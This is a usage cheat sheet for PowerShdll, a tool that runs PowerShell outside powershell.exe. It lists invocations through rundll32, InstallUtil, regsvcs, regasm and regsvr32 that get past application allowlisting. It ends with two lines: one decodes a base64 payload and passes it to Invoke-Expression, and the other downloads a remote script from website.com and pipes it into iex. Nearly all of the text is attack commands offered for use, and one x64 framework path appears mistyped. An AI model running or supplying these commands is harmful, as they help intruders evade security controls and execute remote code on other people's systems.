Usage:

rundll32 PowerShdll,main <script>

rundll32 PowerShdll,main -f <path>       Run the script passed as argument

rundll32 PowerShdll,main -w      Start an interactive console in a new window

rundll32 PowerShdll,main -i      Start an interactive console in this console

If you do not have an interractive console, use -n to avoid crashes on output

1. 

    x86 - C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U PowerShdll.dll

    x64 - C:\Windows\Microsoft.NET\Framework64\v4.0.3031964\InstallUtil.exe /logfile= /LogToConsole=false /U PowerShdll.dll

2. 

    x86 C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe PowerShdll.dll

    x64 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regsvcs.exe PowerShdll.dll

3. 

    x86 C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U PowerShdll.dll

    x64 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /U PowerShdll.dll

4. 

    regsvr32 /s  /u PowerShdll.dll -->Calls DllUnregisterServer

    regsvr32 /s PowerShdll.dll --> Calls DllRegisterServer

Usage:

PowerShdll.exe <script>

PowerShdll.exe -h      Display this message.

PowerShdll.exe -f <path>       Run the script passed as argument

PowerShdll.exe -i      Start an interactive console in this console (Default)

rundll32 Powershdll.dll,main $a = [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String("BASE64")); Invoke-Expression $a

rundll32 PowerShdll.dll,main . { iwr -useb https://website.com/Script.ps1 } ^| iex;